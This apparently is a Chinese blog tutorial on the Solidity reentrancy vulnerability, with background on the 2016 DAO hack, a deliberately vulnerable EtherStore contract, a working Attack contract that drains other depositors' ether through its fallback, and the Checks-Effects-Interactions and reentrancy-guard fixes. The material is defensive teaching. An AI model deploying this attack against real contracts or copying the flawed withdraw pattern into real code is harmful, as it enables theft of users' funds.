重入漏洞(2022-11-21)

90 阅读6分钟

重入漏洞(2022-11-21)

历史

重入漏洞有一个案例,2016 年就因为 The DAO 事件而造成了以太坊的硬分叉。 6月17日,黑客利用The DAO代码里的一个递归漏洞,不停地从The DAO 资金池里分离资产;随后,黑客利用了The DAO的第二个漏洞,避免分离后的资产被销毁。

如果是正常情况,The DAO的资产被分离之后,就会被销毁。 但是,黑客在调用结束前,把盗来的The DAO资产转移到了其他账户,避免了被销毁。

如此熟悉The DAO代码与机制的人,全世界或许不超过100个。黑客利用这两个漏洞,进行了两百多次攻击,总共盗走了360万的以太坊,超过了该项目筹集的以太坊总数目的三分之一。

The DAO项目筹集的以太数目差不多占到当时以太坊总量的14%,这个数量实在是太大了。如果The DAO出了什么事,整个以太坊网络都会遭殃,更不要说以太坊基金会也参与了The DAO项目。

Slock.it的联合创始人兼首席技术官Christoph Jentzsch曾撰文回忆了The DAO事件,在文末,他总结了他们学到的教训

1、智能合约的安全问题还需要通过实践来改进,这个领域还处于早期阶段。 不用说,这个行业才刚刚起步,有太多的东西需要发展,事情得一步一步来。

2、对于未知事物要时刻保持警惕。 现在已经有不少安全方面的工具可用,我们团队也知道很多攻击手段,问题就在于,编写The DAO代码的时候没人意识到这点。

3、以太坊的工具还不成熟。 格式证明验证工具,在当时还没有开发出来。随着The DAO事件的出现,促进了这些安全工具的开发。

4、去中心化系统的治理和投票机制需要改进。 提交意见来指导去中心化软件的工具还没有开发出来,而中心化的论坛,比如Reddit,并不适合去中心化系统。

5、逐步发布产品。 The DAO在发布的时候应该更谨慎一些,逐步的推出。类似的项目在推出的时候保留部分的中心化,逐步去中心化。

6、复杂性最小化。 The DAO的代码有663行,根据统计数据,每1000行代码就会有15-50个Bug,所以,智能合约代码要尽可能简单。

重入漏洞成立的条件

  1. 合约调用带有足够的gas
  2. 有转账功能(payable)
  3. 状态变量在重入函数调用之后

概念

可以认为合约中所有的外部调用都是不安全的,都有可能存在重入漏洞。

漏洞原理

  • 当攻击者调用了在函数内部使用了.call.value()()转账的转账函数时,call.value()()会触发攻击者合约中的被其改写过了的fallback()函数,其内部可再次调用转账函数,从而不断从漏洞合约递归转账到攻击者合约。

  • 并且转账函数是在call.value()()转账操作之后,才修改漏洞合约中余额的状态变量。(注意顺序)这两者共同导致了该漏洞的产生。

例如:如果外部调用的目标是一个攻击者可以控制的恶意的合约,那么当被攻击的合约在调用恶意合约的时候,攻击者可以执行恶意的逻辑然后再重新进入到被攻击合约的内部,通过这样的方式来发起一笔非预期的外部调用,从而影响被攻击合约正常的执行逻辑。

代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable { 
       balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

漏洞分析

  1. withdraw()方法里有一个msg.sender.call{value:bal}(""),可以认为这是不安全的一个点,因为合约中任何外部调用都是不安全的,且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑,这是一种隐藏的外部调用。
  2. 可以看到,把余额balances[msg.sender]归为0是在转账之后才进行的,这可太太太dangerous了。在转账外部调用的时候,攻击者有可能会构造一个恶意的逻辑合约在合约执行balance[msg.sender]=0之前一直循环调用 withdraw 函数一直提币从而将合约账户清空。

攻击合约

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

分析合约首先引入攻击场景。引用三个角色,分别为:

  • 用户:Alice,Bob

  • 攻击者:Eve

  1. 部署 EtherStore 合约;
  2. 用户 1(Alice)和用户 2(Bob)都分别将 1 个以太币充值到 EtherStore 合约中;
  3. 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址;
  4. 攻击者 Eve 调用 Attack.attack 函数,Attack.attack 又调用 EtherStore.deposit 函数,充值 1 个以太币到 EtherStore 合约中,此时 EtherStore 合约中共有 3 个以太,分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出,此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了;
  5. 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用。EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太小于 1 。这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币(Alice、Bob 充值的两枚以太币)。

函数调用流程图:

image.png

知识点

solidity call()函数

call()是一个底层的接口,用来向一个合约发送消息。函数支持传入任意类型的任意参数,并将参数打包成32字节,相互拼接后向合约发送这段数据。

深度解析可以看:www.jianshu.com/p/fd5075ff0…

回退函数fallback()

智能合约中可以有唯一的一个未命名函数,成为fallback函数。该函数不能有实参,不能返回任何值。Solidity语言中关于回退函数的定义:

回退函数是一个不接受任何参数也不返回任何值的特殊函数;
如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
一个合约中最多可以有一个回退函数。

payable标识的函数

函数增加上payable标识,即可接收ether,并且会把ether存储在当前合约。

经验

  1. 写代码时需要遵循先判断,后写入变量,再进行外部调用的编码规范(Checks-Effects-Interactions);
  2. 加入防重入锁。

示例代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _; 
       locked = false; 
   }
}